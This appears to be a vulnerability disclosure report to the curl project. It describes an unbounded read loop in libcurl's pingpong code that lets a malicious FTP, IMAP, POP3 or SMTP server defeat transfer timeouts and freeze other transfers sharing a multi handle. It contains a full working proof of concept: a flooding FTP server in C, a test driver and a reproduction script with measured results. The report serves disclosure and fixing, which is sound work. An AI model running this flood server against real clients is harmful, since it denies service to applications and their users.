curl · Report #4022003
CVE-2026-92387: never-ending loop via server response omission
How it was found
Hi all,
I found a way to make a malicious FTP, IMAP, POP3, or SMTP server defeat libcurl's own transfer timeout entirely and, worse, freeze every other transfer sharing the same multi handle. All it takes is never sending a final control-response line.
The bug
Curl_pp_statemach() checks the response timeout exactly once, right before it enters the protocol state machine:
// lib/pingpong.c:70-75
if(!pp->response_time)
pp->response_time = ...;
...
From there, Curl_pp_readresp() takes over, and this is the part that doesn't give control back:
// lib/pingpong.c:252-342
do {
gotbytes = 0;
...
result = pingpong_read(data, sockindex, buffer, sizeof(buffer), &gotbytes);
...
result = Curl_dyn_addn(&pp->recvbuf, buffer, gotbytes);
...
/* scan for newline-terminated lines, dispatch each to endofresp() */
} while(gotbytes == sizeof(buffer));
It reads into a fixed 900-byte buffer, scans for newline-terminated lines, and hands each one to the protocol's endofresp callback: for FTP, ftp_endofresp(), which only accepts a line as final when it's a real 3-digit reply code followed by a space (the LASTLINE() macro); a continuation line like 220-... never qualifies.
Nothing inside this loop calls Curl_timeleft_ms(), Curl_pgrsCheck(), or imposes any byte or line quota. As long as the peer keeps at least 900 bytes queued, recv() keeps returning full reads, the do/while keeps re-entering, and the function simply never returns.
The caller in this PoC sets CURLOPT_TIMEOUT_MS, precisely the counter-measure the policy says applications must have, and the loop has no ceiling of its own at all. It keeps going for exactly as long as the peer keeps at least 900 bytes queued, which is a decision entirely in the attacker's hands, not curl's.
Where it came from
The unbounded loop is relatively recent. Before the commit a5598b6fcb ("pingpong: drain the input buffer when reading responses", 2024-08-19, fixes #14201, closes #14597), Curl_pp_readresp() read at most once per call: it pulled up to 900 bytes, processed whatever complete lines were already buffered, and returned. Control went back to the caller's dispatch loop every time, which is also where the timeout gets another chance to be checked on the next pass.
The commit wrapped the whole function in do { ... } while(gotbytes == sizeof(buffer)) specifically so that data left behind in TLS buffers wouldn't require "leaving some and expecting to get called again," per the commit message. That's a legitimate problem to fix, but the fix removed the one thing standing between a chatty peer and a hung event loop: the natural per-call return point.
Still present at current main (c0c4971f, 2026-09-09).
PoC
Two handles share one multi handle. Handle A talks FTP to a malicious server with CURLOPT_TIMEOUT_MS=5000, and that server either floods non-final 220-... continuation lines (exploit) or sends one real final line and then goes idle (control). CURLOPT_CONNECTTIMEOUT_MS is set well above the test window, so it's the overall-transfer deadline being exercised, not the connect phase.
Handle B is an ordinary HTTP request to a benign server that deliberately delays its response by 300ms, so its answer is sitting ready long before A's flood ends. This isolates whether B's already-available response gets serviced promptly.
Built and run against a fresh checkout of the audit revision e5e1c356107ea4f8208757deb69776d94496cfae (CMake, -DCURL_USE_OPENSSL=ON -DHTTP_ONLY=OFF, everything else default), driving the resulting libcurl through the public multi API, unmodified.
privilege required: NONE beyond ordinary network reachability — the attacker is the FTP server the application connects to
checkout: e5e1c356107ea4f8208757deb69776d94496cfae
build: cmake -S . -B build -DCURL_USE_OPENSSL=ON -DHTTP_ONLY=OFF -DBUILD_SHARED_LIBS=ON \
-DCURL_DISABLE_LDAP=ON -DUSE_NGTCP2=OFF -DUSE_QUICHE=OFF -DUSE_LIBSSH2=OFF \
-DCMAKE_INSTALL_PREFIX=<prefix> && cmake --build build -j4 && cmake --install build
run: sh reproduce.sh exploit
control: sh reproduce.sh control
reproduce.sh (run with exploit, then with control; needs CURL_PREFIX pointing at the install prefix above):
#!/bin/sh
# Reproduces: a malicious FTP peer that never sends a final control response
# line defeats CURLOPT_TIMEOUT_MS entirely (Curl_pp_readresp()'s inner loop
# never checks it), and blocks a second, unrelated, already-answered transfer
# on the same multi handle from being serviced at all until the flood ends.
#
# Handle A: ftp://127.0.0.1:<FTP_PORT>/ with CURLOPT_TIMEOUT_MS=5000, talking
# to the flood server. Configured to time out in 5s. Its connect
# timeout is set well above that (20s) so the overall transfer
# deadline -- not the connect phase -- is what's on test.
# Handle B: http://127.0.0.1:<HTTP_PORT>/ whose (benign, unmodified) server
# answers after a deliberate 300ms delay -- so its response is
# sitting ready well before A's flood ends, isolating whether B's
# already-available response gets processed promptly or not.
#
# exploit: A's server floods non-final "220-...\r\n" lines for FLOOD_SECONDS
# (90s).
# control: A's server sends one real final "220 ...\r\n" immediately, then
# just holds the connection open (idle) for FLOOD_SECONDS, so the
# 5s timeout is exercised on an ordinary "waiting for the next
# response" state instead of the vulnerable non-final-line loop.
set -e
MODE="$1"
CURL_PREFIX="${CURL_PREFIX:?set CURL_PREFIX to the built install prefix}"
FTP_PORT="${VF_FTP_PORT:-32171}"
HTTP_PORT="${VF_HTTP_PORT:-32172}"
FLOOD_SECONDS="${VF_FLOOD_SECONDS:-90}"
TIMEOUT_MS="${VF_TIMEOUT_MS:-5000}"
WORK="${VF_WORK:-$(mktemp -d)}"
mkdir -p "$WORK"
cat > "$WORK/malicious_ftp.c" <<'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
int main(int argc, char **argv) {
if (argc < 4) { fprintf(stderr, "usage: %s <port> <exploit|control> <flood_seconds>\n", argv[0]); return 2; }
int port = atoi(argv[1]);
int exploit = strcmp(argv[2], "exploit") == 0;
double flood_seconds = atof(argv[3]);
int ls = socket(AF_INET, SOCK_STREAM, 0);
int one = 1;
setsockopt(ls, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
struct sockaddr_in a; memset(&a, 0, sizeof(a));
a.sin_family = AF_INET; a.sin_addr.s_addr = htonl(INADDR_LOOPBACK); a.sin_port = htons((unsigned short)port);
if (bind(ls, (struct sockaddr*)&a, sizeof(a)) < 0) { perror("bind"); return 3; }
listen(ls, 1);
fprintf(stderr, "[malicious-ftp] listening on %d mode=%s\n", port, argv[2]);
int c = accept(ls, NULL, NULL);
if (c < 0) { perror("accept"); return 4; }
setsockopt(c, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one));
int sndbuf = 1 << 20;
setsockopt(c, SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf));
if (!exploit) {
const char *line = "220 control-mode welcome\r\n";
write(c, line, strlen(line));
struct timespec ts = { (long)flood_seconds, 0 };
nanosleep(&ts, NULL);
} else {
/* Continuation lines: code 220 followed by '-' at offset 3, never a
* final "220 ...", per ftp_endofresp()/LASTLINE() in lib/ftp.c. */
char chunk[65536];
size_t off = 0;
while (off + 64 <= sizeof(chunk)) {
int n = snprintf(chunk + off, sizeof(chunk) - off,
"220-still starting up please wait %06zu\r\n", off);
off += (size_t)n;
}
struct timespec start, now;
clock_gettime(CLOCK_MONOTONIC, &start);
for (;;) {
clock_gettime(CLOCK_MONOTONIC, &now);
double elapsed = (now.tv_sec - start.tv_sec) + (now.tv_nsec - start.tv_nsec) / 1e9;
if (elapsed >= flood_seconds) break;
ssize_t w = write(c, chunk, off);
if (w < 0) break;
}
const char *fin = "220 done flooding\r\n";
write(c, fin, strlen(fin));
}
close(c);
close(ls);
return 0;
}
EOF
cat > "$WORK/benign_http.py" <<'PY'
import socket, sys, threading, time
port = int(sys.argv[1]); delay = float(sys.argv[2]) if len(sys.argv) > 2 else 0.0
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("127.0.0.1", port)); s.listen(16)
print(f"[benign-http] listening on {port}, response delay={delay}s", flush=True)
def handle(c):
try:
c.recv(4096)
if delay: time.sleep(delay)
body = b"ok"
resp = (b"HTTP/1.1 200 OK\r\nContent-Length: " + str(len(body)).encode() +
b"\r\nConnection: close\r\n\r\n" + body)
c.sendall(resp)
except Exception: pass
finally:
try: c.close()
except Exception: pass
while True:
c, _ = s.accept()
threading.Thread(target=handle, args=(c,), daemon=True).start()
PY
cat > "$WORK/driver.c" <<'EOF'
#include <curl/curl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
static size_t sink(char *p, size_t s, size_t n, void *u) { (void)p; (void)u; return s*n; }
static double now_ms(void) {
struct timeval tv; gettimeofday(&tv, NULL);
return tv.tv_sec * 1000.0 + tv.tv_usec / 1000.0;
}
/* Handle A (malicious FTP, CURLOPT_TIMEOUT_MS set short) and handle B
* (benign, deliberately-delayed HTTP) share one multi handle. If A's flood
* genuinely defeats the timeout check and monopolizes multi_perform()'s
* per-handle dispatch, B cannot be serviced either -- even though B's
* server already wrote its response well before A's flood ends. */
int main(int argc, char **argv) {
if (argc < 4) { fprintf(stderr, "usage: driver <ftp_port> <http_port> <timeout_ms>\n"); return 2; }
int ftp_port = atoi(argv[1]);
int http_port = atoi(argv[2]);
long timeout_ms = atol(argv[3]);
char ftp_url[128], http_url[128];
snprintf(ftp_url, sizeof(ftp_url), "ftp://127.0.0.1:%d/", ftp_port);
snprintf(http_url, sizeof(http_url), "http://127.0.0.1:%d/", http_port);
curl_global_init(CURL_GLOBAL_DEFAULT);
CURLM *multi = curl_multi_init();
CURL *a = curl_easy_init();
curl_easy_setopt(a, CURLOPT_URL, ftp_url);
curl_easy_setopt(a, CURLOPT_WRITEFUNCTION, sink);
curl_easy_setopt(a, CURLOPT_TIMEOUT_MS, timeout_ms);
/* Kept well above timeout_ms: FTP's WAIT220/USER exchange is governed by
* Curl_pp_state_timeleft_ms(), whose ceiling includes the connect-phase
* timeout. Left too low, that (not the overall timeout) is what fires in
* the control arm, which would understate what is being demonstrated. */
curl_easy_setopt(a, CURLOPT_CONNECTTIMEOUT_MS, 20000L);
CURL *b = curl_easy_init();
curl_easy_setopt(b, CURLOPT_URL, http_url);
curl_easy_setopt(b, CURLOPT_WRITEFUNCTION, sink);
curl_easy_setopt(b, CURLOPT_TIMEOUT_MS, 20000L);
curl_easy_setopt(b, CURLOPT_CONNECTTIMEOUT_MS, 3000L);
curl_multi_add_handle(multi, a);
curl_multi_add_handle(multi, b);
double t0 = now_ms();
double b_done_at = -1, a_done_at = -1;
CURLcode a_result = CURLE_OK;
int still_running = 1;
double watchdog_ms = 100000;
while (still_running && (now_ms() - t0) < watchdog_ms) {
curl_multi_perform(multi, &still_running);
int msgq = 0; CURLMsg *m;
while ((m = curl_multi_info_read(multi, &msgq))) {
if (m->msg == CURLMSG_DONE) {
double t = now_ms() - t0;
if (m->easy_handle == b && b_done_at < 0) b_done_at = t;
if (m->easy_handle == a && a_done_at < 0) { a_done_at = t; a_result = m->data.result; }
}
}
if (still_running) { int numfds = 0; curl_multi_wait(multi, NULL, 0, 100, &numfds); }
}
printf("RESULT configured_timeout_ms=%ld a_done_at_ms=%.1f a_result=%d(%s) "
"b_done_at_ms=%.1f elapsed_ms=%.1f\n",
timeout_ms, a_done_at, a_result, curl_easy_strerror(a_result),
b_done_at, now_ms() - t0);
curl_multi_remove_handle(multi, a); curl_multi_remove_handle(multi, b);
curl_easy_cleanup(a); curl_easy_cleanup(b);
curl_multi_cleanup(multi); curl_global_cleanup();
return 0;
}
EOF
cc -O2 "$WORK/malicious_ftp.c" -o "$WORK/malicious_ftp"
cc "$WORK/driver.c" -I"$CURL_PREFIX/include" -L"$CURL_PREFIX/lib" -lcurl \
-Wl,-rpath,"$CURL_PREFIX/lib" -o "$WORK/driver"
"$WORK/malicious_ftp" "$FTP_PORT" "$MODE" "$FLOOD_SECONDS" > "$WORK/ftp.log" 2>&1 &
FTPPID=$!
python3 "$WORK/benign_http.py" "$HTTP_PORT" 0.3 > "$WORK/http.log" 2>&1 &
HTTPPID=$!
sleep 0.4
"$WORK/driver" "$FTP_PORT" "$HTTP_PORT" "$TIMEOUT_MS"
kill "$FTPPID" "$HTTPPID" 2>/dev/null || true
wait "$FTPPID" "$HTTPPID" 2>/dev/null || true
Measured results (audit revision, CURLOPT_TIMEOUT_MS=5000, 90-second flood window):
exploit: RESULT configured_timeout_ms=5000 a_done_at_ms=90005.0 a_result=28(Timeout was reached) b_done_at_ms=90005.0 elapsed_ms=90005.0
control: RESULT configured_timeout_ms=5000 a_done_at_ms=5002.0 a_result=28(Timeout was reached) b_done_at_ms=306.1 elapsed_ms=5002.0
In control mode, where the peer sends one real final line immediately, the 5000ms deadline fires exactly on schedule (a_done_at_ms=5002.0), and B (already answered by roughly 300ms) completes promptly right after (b_done_at_ms=306.1).
In exploit mode, the same deadline isn't enforced at all: A only finishes when the 90-second flood itself stops (a_done_at_ms=90005.0, 18x past its configured deadline). B, whose server had already written its response by roughly 300ms in, isn't serviced either until that same instant, 89.7 seconds after it was ready. One malicious peer, by never sending a final line, held the entire multi handle's dispatch loop hostage for the whole flood duration.
Suggested direction
Bound the work done per Curl_pp_readresp() invocation: limit the reads, bytes, or lines consumed per call, and return to the caller regardless of whether the buffer keeps filling. Also call Curl_pgrsCheck() and consult Curl_pp_state_timeleft_ms() inside the repeated-read loop itself, not only in Curl_pp_statemach() before the loop is entered, so an always-readable peer can't prevent the configured response and overall deadlines from ever being checked, for itself and for every other transfer sharing the multi handle.
Cheers, Josh
Impact
This gives any contacted FTP/IMAP/POP3/SMTP server a process-level denial-of-service primitive against applications that share one multi handle (or one thread driving it) across transfers to different destinations. A single malicious server the application merely asked a question of can freeze every other in-flight transfer on that event loop, indefinitely, regardless of what timeout those other transfers were configured with.
Preconditions:
- An application using FTP, IMAP, POP3, or SMTP alongside other transfers on the same multi handle
CURLOPT_TIMEOUT_MS/--max-timeconfigured on the targeted transfer (the counter-measure curl's own security policy expects the caller to have)- A server willing to keep the control connection readable without ever sending a final response line